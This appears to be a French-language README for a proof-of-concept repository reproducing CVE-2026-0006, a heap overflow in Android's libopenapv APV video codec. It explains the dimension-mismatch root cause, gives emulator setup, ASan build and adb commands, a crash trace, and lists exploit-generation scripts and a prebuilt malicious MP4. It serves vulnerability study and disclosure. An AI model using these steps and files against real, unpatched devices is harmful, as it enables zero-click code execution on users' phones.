
CVE-2026-0006 : PoC de dépassement de tampon sur le tas pour libopenapv (codec APV d'Android) - CVSS 9.8
CVSS 9.8 Critique | Exploité activement dans la nature | Correctif publié en mars 2026
Note : Nous n'avons pas découvert cette vulnérabilité. Tout le mérite de la découverte et du signalement responsable de CVE-2026-0006 revient aux chercheurs d'origine. Ce dépôt contient notre analyse indépendante du correctif, notre reproduction et notre article pédagogique pour aider la communauté de la sécurité à comprendre la classe de bug et les techniques d'exploitation impliquées.

CVE-2026-0006 est un débordement de tas dans libopenapv, le codec open-source APV (Advanced Professional Video) de Samsung, intégré à Android 16 en tant que module Mainline.
La vulnérabilité permet une exécution de code à distance sans interaction via un fichier MP4 spécialement conçu. Le framework multimédia d'Android traite automatiquement les fichiers vidéo pour générer des vignettes et des aperçus — aucune interaction de l'utilisateur n'est requise.
oapvd_info() et oapvd_decode() lisent les dimensions de la trame à partir de PBU différents (Payload Byte Units). Un attaquant injecte un PBU AU_INFO (type 65) indiquant de petites dimensions (16x16), tandis que le PBU FRAME réel encode de grandes dimensions (64x64). Le framework alloue les tampons en fonction de la sortie de oapvd_info(), puis oapvd_decode() écrit les pixels décodés aux dimensions du PBU FRAME — débordant le tampon de 14 848 octets.
Vous avez besoin d'un émulateur Android 16 avec un niveau de correctif de sécurité antérieur à mars 2026 (le décodeur APV n'est pas présent dans les versions antérieures d'Android).
# Installer l'image système requise (Android 16 / API 36, ARM64)
sdkmanager "system-images;android-36.1;google_apis;arm64-v8a"
# Créer l'AVD
avdmanager create avd \
-n android16_apv \
-k "system-images;android-36.1;google_apis;arm64-v8a" \
-d pixel_6
# Lancer l'émulateur
emulator -avd android16_apv -no-snapshot-load
# Vérifier que le module du codec APV existe
adb shell ls -la /apex/com.android.media.swcodec/lib64/libcodec2_soft_apvdec.so
# Vérifier le niveau de correctif de sécurité (doit être antérieur au 01/03/2026)
adb shell getprop ro.build.version.security_patch
Si le correctif de sécurité est 2026-03-01 ou ultérieur, la vulnérabilité a été corrigée et l'exploitation ne fonctionnera pas. Utilisez une image système ou un snapshot antérieur.
# Nécessite : adb connecté à un appareil/émulateur Android 16 (correctif antérieur à mars 2026)
./deploy_exploit_mp4.sh
Ce script génère le MP4 d'exploitation, le pousse sur l'appareil, l'ouvre et capture la sortie du crash. Le crash peut ne pas se déclencher à la première tentative — le script réessaie automatiquement jusqu'à 3 fois.
# Nécessite : valid.apv et apv-mp4/valid_ffmpeg.mp4 (tous deux inclus)
python3 generate_overflow_mp4.py
# Nécessite : Android NDK r29+, sources de libopenapv v0.1.11.3
NDK=$HOME/Library/Android/sdk/ndk/29.0.13599879
CC=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android31-clang
ASAN_RT=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/lib/clang/20/lib/linux/libclang_rt.asan-aarch64-android.so
# 1. Compiler libopenapv avec ASan pour ARM64
git clone https://github.com/AcademySoftwareFoundation/openapv.git
cd openapv && git checkout v0.1.11.1
mkdir build_arm64_asan && cd build_arm64_asan
cmake .. -DCMAKE_TOOLCHAIN_FILE=$NDK/build/cmake/android.toolchain.cmake \
-DANDROID_ABI=arm64-v8a -DANDROID_PLATFORM=android-31 \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer"
make -j$(nproc)
# 2. Compiler en croisé le PoC MP4 ASan
$CC -g -O0 -fsanitize=address -fno-omit-frame-pointer \
-I../inc -I./include \
poc_mp4_asan.c ./lib/liboapv.a -lm -o poc_mp4_asan
# 3. Pousser et exécuter sur l'appareil
adb push poc_mp4_asan $ASAN_RT /data/local/tmp/
adb push apv-mp4/overflow_auinfo.mp4 /data/local/tmp/
adb shell "LD_LIBRARY_PATH=/data/local/tmp \
ASAN_OPTIONS=detect_leaks=0 \
/data/local/tmp/poc_mp4_asan /data/local/tmp/overflow_auinfo.mp4"
==17610==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x006f770f0580
WRITE of size 2 at 0x006f770f0580 thread T0
0x006f770f0580 is located 0 bytes after 512-byte region
[0x006f770f0380,0x006f770f0580)
fb6a5eab) : validation de ssize > 4 et vérification de la signature 'aPv1'oapv_param.c pour la validation des dimensions et de la taille des tuilesCette vulnérabilité a été découverte et signalée de manière responsable par les chercheurs en sécurité d'origine. Nous n'avons pas trouvé cette CVE. Tout le mérite de la découverte leur revient.
Ce dépôt représente l'analyse indépendante du correctif et la reproduction de Mobile Hacking Lab — créé à des fins pédagogiques pour aider la communauté de la sécurité à tirer des enseignements de vulnérabilités réelles.
Cette recherche a été menée à des fins pédagogiques sur des builds de test isolés de la bibliothèque vulnérable. Tous les tests ont été effectués sur des binaires compilés localement du projet open-source libopenapv. Aucun appareil ou système de production n'a été ciblé.
| Fichier | Description |
|---|
generate_overflow_mp4.py | Génère le MP4 d'exploitation avec l'incohérence de dimensions AU_INFO |
deploy_exploit_mp4.sh | Tout-en-un : génère, pousse sur l'appareil Android, ouvre et capture le crash |
poc_mp4_asan.c | PoC ASan imitant le chemin de décodage de C2SoftApvDec |
poc_android_oob_write.c | PoC ARM64 autonome avec détection de débordement par région de garde |
valid.apv | Flux binaire APV valide de 337 octets (64x64, YUV422, 10 bits) |
apv-mp4/valid_ffmpeg.mp4 | Conteneur MP4 de référence (généré par ffmpeg) |
apv-mp4/overflow_auinfo.mp4 | MP4 d'exploitation pré-construit (1 178 octets) |